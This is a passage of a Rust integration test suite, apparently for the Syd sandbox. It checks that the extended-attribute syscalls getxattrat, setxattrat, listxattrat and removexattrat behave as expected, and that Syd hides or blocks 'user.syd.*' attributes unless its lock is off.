    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .do__("getxattrat_path")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
echo 1 > exp.1
: > exp.2
{syd_do} file user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

{syd_do} file user.syd.test > test.2 || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat failed with ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

cmp test.1 exp.1
cmp test.2 exp.2
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_getxattrat_path_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .p("off")
        .m("lock:off")
        .m("sandbox/stat:on")
        .m("allow/stat+/***")
        .do__("getxattrat_path")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
echo 1 > exp.1
echo 3 > exp.2
{syd_do} file user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
{syd_do} file user.syd.test > test.2
cmp test.1 exp.1
cmp test.2 exp.2
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_getxattrat_file_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
mkdir dir
setfattr -n user.ack.test -v 1 dir
setfattr -n user.syd.test -v 3 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .m("allow/all+/***")
        .do__("getxattrat_file")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
echo 1 > exp.1
: > exp.2
{syd_do} dir user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

{syd_do} dir user.syd.test > test.2 || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat failed with ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

cmp test.1 exp.1
cmp test.2 exp.2
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_getxattrat_file_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
mkdir dir
setfattr -n user.ack.test -v 1 dir
setfattr -n user.syd.test -v 3 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .m("lock:off")
        .m("allow/all+/***")
        .do__("getxattrat_file")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
echo 1 > exp.1
echo 3 > exp.2
{syd_do} dir user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
{syd_do} dir user.syd.test > test.2
cmp test.1 exp.1
cmp test.2 exp.2
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_setxattrat_path_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
touch file
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3

SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.test 1 create || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.none 2 0

SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.none > test.2

SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.test 1 create && exit 2
SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.test 3 replace
SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.test > test.3

cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_setxattrat_file_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
mkdir dir
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 1 create || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.none 2 0

SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.none > test.2

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 1 create && exit 2
SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 3 replace
SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test > test.3

cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_setxattrat_path_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
touch file
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3

SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.test 1 create || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.none 2 0

SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.none > test.2

SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.test 1 create && exit 2
SYD_TEST_DO=setxattrat_path {syd_do} file user.ack.test 3 replace
SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.test > test.3

cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3

SYD_TEST_DO=setxattrat_path {syd_do} file user.syd.test 1 create || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
13) # EACCES
    echo >&2 "setxattrat failed with EACCES as expected!"
    ;;
*) exit $r;;
esac
unset r
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_setxattrat_path_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .m("lock:off")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
touch file
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3

SYD_TEST_DO=setxattrat_path {syd_do} file user.syd.test 1 create || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

SYD_TEST_DO=setxattrat_path {syd_do} file user.syd.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_path {syd_do} file user.syd.none 2 0

SYD_TEST_DO=getxattrat_path {syd_do} file user.syd.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=getxattrat_path {syd_do} file user.syd.none > test.2

SYD_TEST_DO=setxattrat_path {syd_do} file user.syd.test 1 create && exit 2
SYD_TEST_DO=setxattrat_path {syd_do} file user.syd.test 3 replace
SYD_TEST_DO=getxattrat_path {syd_do} file user.syd.test > test.3

cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_setxattrat_file_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
mkdir dir
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 1 create || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.none 2 0

SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.none > test.2

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 1 create && exit 2
SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 3 replace
SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test > test.3

cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3

SYD_TEST_DO=setxattrat_path {syd_do} dir user.syd.test 1 create || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
13) # EACCES
    echo >&2 "setxattrat failed with EACCES as expected!"
    ;;
*) exit $r;;
esac
unset r
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_setxattrat_file_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .m("lock:off")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
mkdir dir
echo 1 > exp.1
echo 2 > exp.2
echo 3 > exp.3
echo 4 > exp.4

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 1 create || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no setxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.none 1 replace && exit 1
SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.none 2 0

SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.none > test.2

SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 1 create && exit 2
SYD_TEST_DO=setxattrat_file {syd_do} dir user.ack.test 3 replace
SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test > test.3

SYD_TEST_DO=setxattrat_file {syd_do} dir user.syd.test 1 create
SYD_TEST_DO=setxattrat_file {syd_do} dir user.syd.test 4 replace
SYD_TEST_DO=getxattrat_file {syd_do} dir user.syd.test > test.4

cmp test.1 exp.1
cmp test.2 exp.2
cmp test.3 exp.3
cmp test.4 exp.4
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_listxattrat_path_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch", "tr");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test.1 -v 1 file
setfattr -n user.ack.test.2 -v 2 file
setfattr -n user.ack.test.3 -v 3 file
setfattr -n user.syd.test.4 -v 4 file
setfattr -n user.syd.test.5 -v 5 file
setfattr -n user.syd.test.6 -v 6 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .env("SYD_TEST_DO", "listxattrat_path")
        .arg("-cex")
        .arg(format!(
            r##"
for i in {{1..3}}; do
    echo user.ack.test.$i >> exp.1
done
for i in {{4..6}}; do
    echo user.syd.test.$i >> exp.1
done
{syd_do} file > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no listxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
cmp test-sort.1 exp.1
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_listxattrat_file_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch", "tr");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
mkdir dir
setfattr -n user.ack.test.1 -v 1 dir
setfattr -n user.ack.test.2 -v 2 dir
setfattr -n user.ack.test.3 -v 3 dir
setfattr -n user.syd.test.4 -v 4 dir
setfattr -n user.syd.test.5 -v 5 dir
setfattr -n user.syd.test.6 -v 6 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .env("SYD_TEST_DO", "listxattrat_file")
        .arg("-cex")
        .arg(format!(
            r##"
for i in {{1..3}}; do
    echo user.ack.test.$i >> exp.1
done
for i in {{4..6}}; do
    echo user.syd.test.$i >> exp.1
done
{syd_do} dir > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no listxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
cmp test-sort.1 exp.1
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_listxattrat_path_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch", "tr");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test.1 -v 1 file
setfattr -n user.ack.test.2 -v 2 file
setfattr -n user.ack.test.3 -v 3 file
setfattr -n user.syd.test.4 -v 4 file
setfattr -n user.syd.test.5 -v 5 file
setfattr -n user.syd.test.6 -v 6 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .m("allow/all+/***")
        .do__("listxattrat_path")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
for i in {{1..3}}; do
    echo user.ack.test.$i >> exp.1
done
# Filtered out by Syd!
#for i in {{4..6}}; do
#    echo user.syd.test.$i >> exp.1
#done
{syd_do} file > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no listxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
cmp test-sort.1 exp.1
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_listxattrat_path_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch", "tr");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test.1 -v 1 file
setfattr -n user.ack.test.2 -v 2 file
setfattr -n user.ack.test.3 -v 3 file
setfattr -n user.syd.test.4 -v 4 file
setfattr -n user.syd.test.5 -v 5 file
setfattr -n user.syd.test.6 -v 6 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .m("lock:off")
        .m("allow/all+/***")
        .do__("listxattrat_path")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
for i in {{1..3}}; do
    echo user.ack.test.$i >> exp.1
done
# Not filtered out by Syd due to lock:off!
for i in {{4..6}}; do
    echo user.syd.test.$i >> exp.1
done
{syd_do} file > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no listxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
cmp test-sort.1 exp.1
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_listxattrat_file_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch", "tr");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch dir
setfattr -n user.ack.test.1 -v 1 dir
setfattr -n user.ack.test.2 -v 2 dir
setfattr -n user.ack.test.3 -v 3 dir
setfattr -n user.syd.test.4 -v 4 dir
setfattr -n user.syd.test.5 -v 5 dir
setfattr -n user.syd.test.6 -v 6 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .m("allow/all+/***")
        .do__("listxattrat_path")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
for i in {{1..3}}; do
    echo user.ack.test.$i >> exp.1
done
# Filtered out by Syd!
#for i in {{4..6}}; do
#    echo user.syd.test.$i >> exp.1
#done
{syd_do} dir > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no listxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
cmp test-sort.1 exp.1
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_listxattrat_file_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch", "tr");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch dir
setfattr -n user.ack.test.1 -v 1 dir
setfattr -n user.ack.test.2 -v 2 dir
setfattr -n user.ack.test.3 -v 3 dir
setfattr -n user.syd.test.4 -v 4 dir
setfattr -n user.syd.test.5 -v 5 dir
setfattr -n user.syd.test.6 -v 6 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .m("lock:off")
        .m("allow/all+/***")
        .do__("listxattrat_path")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
for i in {{1..3}}; do
    echo user.ack.test.$i >> exp.1
done
# Not filtered out by Syd due to lock:off!
for i in {{4..6}}; do
    echo user.syd.test.$i >> exp.1
done
{syd_do} dir > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no listxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
sort test.1 > test-sort.1
cmp test-sort.1 exp.1
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_removexattrat_path_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
echo 3 > exp.1

touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file

SYD_TEST_DO=removexattrat_path {syd_do} file user.ack.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_path {syd_do} file user.syd.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

cmp test.1 exp.1
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_removexattrat_file_linux() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let syd_do = &SYD_DO.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
echo 3 > exp.1

touch dir
setfattr -n user.ack.test -v 1 dir
setfattr -n user.syd.test -v 3 dir

SYD_TEST_DO=removexattrat_file {syd_do} dir user.ack.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_file {syd_do} dir user.syd.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac

cmp test.1 exp.1
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_removexattrat_path_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
SYD_TEST_DO=removexattrat_path {syd_do} file user.ack.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.test || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_path {syd_do} file user.syd.test > test.1 || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    true;;
*) exit $r;;
esac
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_removexattrat_path_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
touch file
setfattr -n user.ack.test -v 1 file
setfattr -n user.syd.test -v 3 file
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .m("lock:off")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
SYD_TEST_DO=removexattrat_path {syd_do} file user.ack.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_path {syd_do} file user.ack.test || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_path {syd_do} file user.syd.test > test.1 || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_removexattrat_file_syd_default() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
mkdir dir
setfattr -n user.ack.test -v 1 dir
setfattr -n user.syd.test -v 3 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
SYD_TEST_DO=removexattrat_file {syd_do} dir user.ack.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=removexattrat_file {syd_do} dir user.syd.test || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "removexattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_file {syd_do} dir user.syd.test || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_xattr_removexattrat_file_syd_lockoff() -> TestResult {
    skip_unless_available!("bash", "getfattr", "setfattr", "touch");
    skip_unless_xattrs_are_supported!();

    let status = Command::new("bash")
        .arg("-cex")
        .arg(
            r##"
mkdir dir
setfattr -n user.ack.test -v 1 dir
setfattr -n user.syd.test -v 3 dir
"##,
        )
        .status()
        .expect("execute bash");
    if status.code().unwrap_or(127) != 0 {
